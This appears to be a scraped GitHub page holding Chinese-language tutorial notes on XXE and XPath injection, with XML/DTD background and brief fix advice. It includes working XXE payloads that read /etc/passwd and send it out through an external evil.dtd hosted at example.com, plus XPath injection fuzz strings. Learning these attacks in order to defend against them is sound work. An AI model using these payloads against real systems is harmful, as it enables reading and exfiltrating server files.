You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
// 不允许直接使用
<!ENTITY % file "file:///etc/passwd">
<!ENTITY % a "<!ENTITY % b SYSTEM 'http://127.0.0.1/?%file;'>">
%a;
// 放置外部文件中
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % a SYSTEM "http://example.com/evil.dtd">
%a;
%b;
]>
<c>&send;</c>
// evil.dtd
<!ENTITY % b "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
注意三个实体之间的顺序
首先参数实体 a 将外部文件 evil.dtd 引入
之后参数实体 b 嵌套定义了内部实体 send
最后内部定义实体 send 将数据进行转发
如果将内部定义实体 send 改为参数实体的话
<c>&send;</c> // 删除
%send; // %b; 后增加
// evil.dtd
<!ENTITY % b "<!ENTITY % send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
其他引入外部实体的方式
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % a SYSTEM "http://example.com/evil.dtd">
%a;
]>
<c>&file;</c>
// evil.dtd
<!ENTITY file SYSTEM "file:///etc/passwd">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://example.com/evil.dtd">
<c>&file;</c>
// evil.dtd
<!ENTITY file SYSTEM "file:///etc/passwd">
XXE 检测
判断 XXE 是否会被解析
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY a "11111">
]>
<c>&a;</c>
// 如果 a 显示 11111 说明被解析
判断服务器是否支持外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % a SYSTEM "http://example.com/evil.dtd">
%a;
]>
// 攻击者查看自己服务器上的日志,查看目标服务器是否发送一条请求 `evil.dtd` 的 `HTTP Request`
//book[price>35] 选取所有 book 元素,且其中的 price 元素的值大于 35
/bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素
//title[@user] 选取所有拥有名为 user 的属性的 title 元素
//title[@user='a'] 选取所有 title 元素,且这些元素拥有值为 a 的 user 属性
通配符
*: 匹配任何元素节点
@*: 匹配任何属性节点
node(): 匹配任何类型的节点
|: 选取若干路径
例如
/bookstore/* 选取 bookstore 元素的所有子节点
//* 选取文档中的所有元素
//title[@*] 选取所有带有属性的 title 元素
//book/title | //book/price 选取所有 book 元素的 title 和 price 元素
XPath 注入发生在当站点使用用户输入的信息来构造请求以获取 XML 数据,也就是说如果一个网站某应用程序将数据保存在 XML 中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生 XPath 注入,那么攻击者就可以通过控制查询来获取数据,或者删除数据之类的操作
Fuzz 方法
通过错误信息页面进行判断以及查看源码进行分析
判断是否存在注入
// 报错
'
// 字符型,查看页面是否改变
' or count(parent::*[position()=1])=0 or 'a'='b
' or count(parent::*[position()=1])>0 or 'a'='b
// 数字型,查看页面是否改变
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])>0
0x01 XXE
XML
XML
是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言XML
文档结构包括XML
声明、DTD
(Document Type Definition
)文档类型定义(可选)、文档元素DTD
的作用是定义XML
文档的合法构建模块,DTD
可以在XML
文档内声明,也可以外部引用DTD
DTD
DTD
实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用XML
时,实体将会被替换成相应的引用内容XXE
XXE Injection
即XML External Entity Injection
,XML
外部实体注入攻击XML
的外部实体来获取服务器中本应被保护的数据XXE
成因XML
解析器解析外部实体时支持多种协议PHP
支持的扩展协议PHP
中xml_parse
就不会解析外部实体)XXE
攻击方式显式 XXE
Blind XXE
Blind XXE
来构建一条带外数据通道提取数据Blind XXE
主要使用了DTD
约束中的参数实体和内部定义实体DTD
中定义和使用的实体,一般引用时用%
作为前缀Blind XXE
采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的URL
中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache
日志)中读出文件的内容(指定服务器即攻击者的服务器)DTD
中使用%
来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到XML
文件的DTD
来使用a
将外部文件evil.dtd
引入b
嵌套定义了内部实体send
send
将数据进行转发send
改为参数实体的话XXE
检测XXE
是否会被解析Blind XXE
方式,引用外部文件XXE
漏洞修复XML
解析库,默认禁止外部实体的解析XML
数据PHP
Java
Python
0x02 XPath 注入
XPath
XPath
是一门在XML
文档中查找信息的语言,可用来在XML
文档中对元素和属性进行遍历XPath
非常类似对数据库操作的SQL
语言,或者说JQuery
,它可以方便开发者抓取文档中需要的东西XPath
中有七种类节点类型:/
: 从根节点选取//
: 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置.
: 选取当前节点..
: 选取当前节点的父节点@
: 选取属性*
: 匹配任何元素节点@*
: 匹配任何属性节点node()
: 匹配任何类型的节点|
: 选取若干路径XPath
注入XPath
解析器的松散输入和容错特性,能够在URL
、表单或其他信息上附带恶意的XPath
查询代码,以获得权限信息的访问权并更改这些信息XPath
注入发生在当站点使用用户输入的信息来构造请求以获取XML
数据,也就是说如果一个网站某应用程序将数据保存在XML
中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到XPath
查询中,即产生XPath
注入,那么攻击者就可以通过控制查询来获取数据,或者删除数据之类的操作Fuzz
方法Payload
Payload
(当不知道任何节点的名称或只知道一部分)IE
错误编码信息进行替换,屏蔽系统本身的出错信息XPath
查询,将需要构建的XPath
查询表达式以变量的形式表示,变量不是可以执行的脚本The text was updated successfully, but these errors were encountered: